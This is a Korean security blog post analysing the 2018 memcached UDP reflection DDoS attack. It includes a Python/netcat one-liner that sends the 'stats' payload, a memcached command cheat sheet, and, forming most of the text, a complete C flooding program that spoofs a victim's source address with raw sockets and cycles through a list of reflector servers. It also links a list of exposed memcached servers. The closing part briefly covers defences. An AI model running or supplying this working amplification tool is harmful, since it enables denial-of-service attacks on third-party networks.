[HACKING] Memcached reflection DOS attack 분석

요즘 memcached 서버 DOS 취약점으로 잠깐 시끌벅적했습니다. 어제 새벽 pastebin에 C기반 PoC 코드랑 shodan에서 조회한 서버 내역이 올라왔는데요. 오늘은 그 내용 가지고 글 좀 써볼까 합니다.



DΛNIΞL이 twit 올린거 보고 훑어봤는데, 부담가지 않는 내용인 것 같네요.

https://twitter.com/hypoweb/status/971325506858700800


Memcached?

Memcached는 범용 분산 메모리 캐싱 시스템입니다. 일반적으로 DB의 부하를 줄이고 동적 웹 어플리케이션의 속도 향상을 위해 사용되죠. 오픈소스 소프트웨어이며 Data나 Object를 RAM에 캐싱하는 방식으로 많이 사용됩니다.
(라고 작년초에 포스팅했었네요)

아래 링크 참고해주세요 (절대 쓰기 귀찮아서 그런거 아님)
http://www.hahwul.com/2017/02/debian-intro-memcahed-and-accessing.html


Memcached reflection DOS attack

원래 memcached는 메모리 캐싱을 위한 시스템이라 원격 연결이 필요 없을 것 같지만(제 생각, 아닐지도.. 필요하니깐 만들었으려나) 11211 포트를 통해 TCP/UDP 통신을 지원합니다. (아마 원격 디버깅 때문인가..)

아무튼 11211 포트는 여러가지 명령들을 통해 memcached 내 데이터를 가져오거나 할 수 있습니다. 이 과정을 역이용하여 다른 서버로 큰 요청(얻어낸 데이터들을 통째로)을 전송하게 됩니다.

예를들면 memcached 서버로 stats 명령을 날리게되면 메모리 데이터, 키 관련 데이터들을 뿜어내게 됩니다. 이 과정에서 공격자가 자신의 IP를 피해자의 서버로 변조한 후 요청을 발생시키면 memcached 서버는 피해자 서버로 메모리 데이터를 전송하게 됩니다.

이러한 방식을 통해 이론적으로 일반적인 요청의 5만배까지 끌어올릴 수 있다고 하네요.

이번 memcached reflection attack에서도 stats, get  등을 이용해서 공격을 수행하게 됩니다. 초기에 올라왔던 PoC인데요. 잘보면 memcached 서버측(11211 포트)으로 stats 를 전송하는 단순한 코드입니다.

python -c "print '\0\x01\0\0\0\x01\0\0stats\r\n'" |nc -nvvu
192.168.56.105 11211 > /tmp/null

(아래는 memcached 11211 명령 / https://lzone.de/cheat-sheet/memcached)
CommandDescriptionExample
getReads a valueget mykey
setSet a key unconditionallyset mykey 0 60 5

# Meaning:
0 = > no flags
60 => TTL in [s]
5 => size in byte

Ensure to use \r\n als line breaks when using
Unix CLI tools. For example

printf "set mykey 0 60 4\r\ndata\r\n" |\
nc localhost 11211
addAdd a new keyadd newkey 0 60 5
replaceOverwrite existing keyreplace key 0 60 5
appendAppend data to existing keyappend key 0 60 15
prependPrepend data to existing keyprepend key 0 60 15
incrIncrements numerical key value
by given number
incr mykey 2
decrDecrements numerical key value
by given number
decr mykey 5
deleteDeletes an existing keydelete mykey
flush_allInvalidate specific items immediatelyflush_all
Invalidate all items in n secondsflush_all 900
statsPrints general statisticsstats
Prints memory statisticsstats slabs
Prints memory statisticsstats malloc
Print higher level allocation statisticsstats items
stats detail
stats sizes
Dump keys is a slab classstats cachedump
Resets statisticsstats reset
versionPrints server version.version
verbosityIncreases log levelverbosity
quitTerminate telnet sessionquit


PoC code 분석

위에서 봤던 핵심 부분은 setup_udp_header 함수입니다.

void setup_udp_header(struct udphdr *udph)
{
udph->source = htons(5678);
udph->dest = htons(11211);
udph->check = 0;
memcpy((void *)udph + sizeof(struct udphdr), "\x00\x01\x00\x00\x00\x01\x00\x00stats\r\n", 15);
// 바로 이곳입니다. 위에서 봤던 python 코드랑 똑같죠
//
udph->len=htons(sizeof(struct udphdr) + 15);
}

stats 명령으로 캐시 데이터를 한번에 얻어오죠. 나머지 부분은 주말에 작성하도록 할게요
(피곤..)

#include <time.h>
#include <pthread.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#define MAX_PACKET_SIZE 8192
#define PHI 0x9e3779b9
static uint32_t Q[4096], c = 362436;
struct list
{
struct sockaddr_in data;
struct list *next;
struct list *prev;
};
struct list *head;
volatile int tehport;
volatile int limiter;
volatile unsigned int pps;
volatile unsigned int sleeptime = 100;
struct thread_data{ int thread_id; struct list *list_node; struct sockaddr_in sin; };
void init_rand(uint32_t x)
{
int i;
Q[0] = x;
Q[1] = x + PHI;
Q[2] = x + PHI + PHI;
for (i = 3; i < 4096; i++)
{
Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
}
}
uint32_t rand_cmwc(void)
{
uint64_t t, a = 18782LL;
static uint32_t i = 4095;
uint32_t x, r = 0xfffffffe;
i = (i + 1) & 4095;
t = a * Q[i] + c;
c = (t >> 32);
x = t + c;
if (x < c) {
x++;
c++;
}
return (Q[i] = r - x);
}
unsigned short csum (unsigned short *buf, int nwords)
{
unsigned long sum = 0;
for (sum = 0; nwords > 0; nwords--)
sum += *buf++;
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
return (unsigned short)(~sum);
}
void setup_ip_header(struct iphdr *iph)
{
iph->ihl = 5;
iph->version = 4;
iph->tos = 0;
iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 15;
iph->id = htonl(54321);
iph->frag_off = 0;
iph->ttl = MAXTTL;
iph->protocol = IPPROTO_UDP;
iph->check = 0;
iph->saddr = inet_addr("192.168.3.100");
}
void setup_udp_header(struct udphdr *udph)
{
udph->source = htons(5678);
udph->dest = htons(11211);
udph->check = 0;
memcpy((void *)udph + sizeof(struct udphdr), "\x00\x01\x00\x00\x00\x01\x00\x00stats\r\n", 15);
// 바로 이곳입니다. 위에서 봤던 python 코드랑 똑같죠
//
udph->len=htons(sizeof(struct udphdr) + 15);
}
void *flood(void *par1)
{
struct thread_data *td = (struct thread_data *)par1;
char datagram[MAX_PACKET_SIZE];
struct iphdr *iph = (struct iphdr *)datagram;
struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr);
struct sockaddr_in sin = td->sin;
struct  list *list_node = td->list_node;
int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
if(s < 0){
fprintf(stderr, "Could not open raw socket.\n");
exit(-1);
}
init_rand(time(NULL));
memset(datagram, 0, MAX_PACKET_SIZE);
setup_ip_header(iph);
setup_udp_header(udph);
udph->source = htons(rand() % 65535 - 1026);
iph->saddr = sin.sin_addr.s_addr;
iph->daddr = list_node->data.sin_addr.s_addr;
iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
int tmp = 1;
const int *val = &tmp;
if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
exit(-1);
}
init_rand(time(NULL));
register unsigned int i;
i = 0;
while(1){
sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &list_node->data, sizeof(list_node->data));
list_node = list_node->next;
iph->daddr = list_node->data.sin_addr.s_addr;
iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);

pps++;
if(i >= limiter)
{
i = 0;
usleep(sleeptime);
}
i++;
}
}
int main(int argc, char *argv[ ])
{
if(argc < 6){
fprintf(stderr, "Invalid parameters!\n");
fprintf(stdout, "Usage: %s <target IP> <port> <reflection file> <threads> <pps limiter, -1 for no limit> <time>\n", argv[0]);
exit(-1);
}
srand(time(NULL));
int i = 0;
head = NULL;
fprintf(stdout, "Setting up sockets...\n");
int max_len = 128;
char *buffer = (char *) malloc(max_len);
buffer = memset(buffer, 0x00, max_len);
int num_threads = atoi(argv[4]);
int maxpps = atoi(argv[5]);
limiter = 0;
pps = 0;
int multiplier = 20;
FILE *list_fd = fopen(argv[3],  "r");
while (fgets(buffer, max_len, list_fd) != NULL) {
if ((buffer[strlen(buffer) - 1] == '\n') ||
(buffer[strlen(buffer) - 1] == '\r')) {
buffer[strlen(buffer) - 1] = 0x00;
if(head == NULL)
{
head = (struct list *)malloc(sizeof(struct list));
bzero(&head->data, sizeof(head->data));
head->data.sin_addr.s_addr=inet_addr(buffer);
head->next = head;
head->prev = head;
} else {
struct list *new_node = (struct list *)malloc(sizeof(struct list));
memset(new_node, 0x00, sizeof(struct list));
new_node->data.sin_addr.s_addr=inet_addr(buffer);
new_node->prev = head;
new_node->next = head->next;
head->next = new_node;
}
i++;
} else {
continue;
}
}
struct list *current = head->next;
pthread_t thread[num_threads];
struct sockaddr_in sin;
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = inet_addr(argv[1]);
struct thread_data td[num_threads];
for(i = 0;i<num_threads;i++){
td[i].thread_id = i;
td[i].sin= sin;
td[i].list_node = current;
pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);
}
fprintf(stdout, "Starting flood...\n");
for(i = 0;i<(atoi(argv[6])*multiplier);i++)
{
usleep((1000/multiplier)*1000);
if((pps*multiplier) > maxpps)
{
if(1 > limiter)
{
sleeptime+=100;
} else {
limiter--;
}
} else {
limiter++;
if(sleeptime > 25)
{
sleeptime-=25;
} else {
sleeptime = 0;
}
}
pps = 0;
}
return 0;
}

이외에도 언어별로 PoC 가 많이 올라온 상태입니다.

Conclusion

memcached 서버측에선 memcached 서버를 인터넷망에 연결시키지 않고 기본포트 변경 처리 (11211 -> ?????) 하는것으로 어느정도 대응되지 않을까 싶습니다.

DOS 대응(이 부분은 제 분야는 아니라 확실치는 않습니다만.. )으론 kill switch 라고 올라오는 내용들이 있는데, 충분히 일리있는 부분이여서 어떨까 싶습니다.

트래픽을 발생시키는 memcacehd 서버측으로 캐시를 날려주는 명령을 던져서 리턴되는 데이터의 양을 줄이는 방법이죠.

http://www.boannews.com/media/view.asp?idx=67356&kind=1


마지막으로 pastebin에 memcached 사용중인 서버 리스트가 올라왔느데.. 무지 많네요.
저러니 DOS 트래픽 양이..

https://pastebin.com/raw/eSCHTTVu


Reference

https://pastebin.com/raw/ZiUeinae
https://pastebin.com/raw/eSCHTTVu
https://twitter.com/hypoweb/status/971326135975006209
https://thehackernews.com/2018/02/memcached-amplification-ddos.html
http://powerofcommunity.net/poc2017/shengbao.pdf
https://lzone.de/cheat-sheet/memcached
http://www.hahwul.com/2017/02/debian-intro-memcahed-and-accessing.html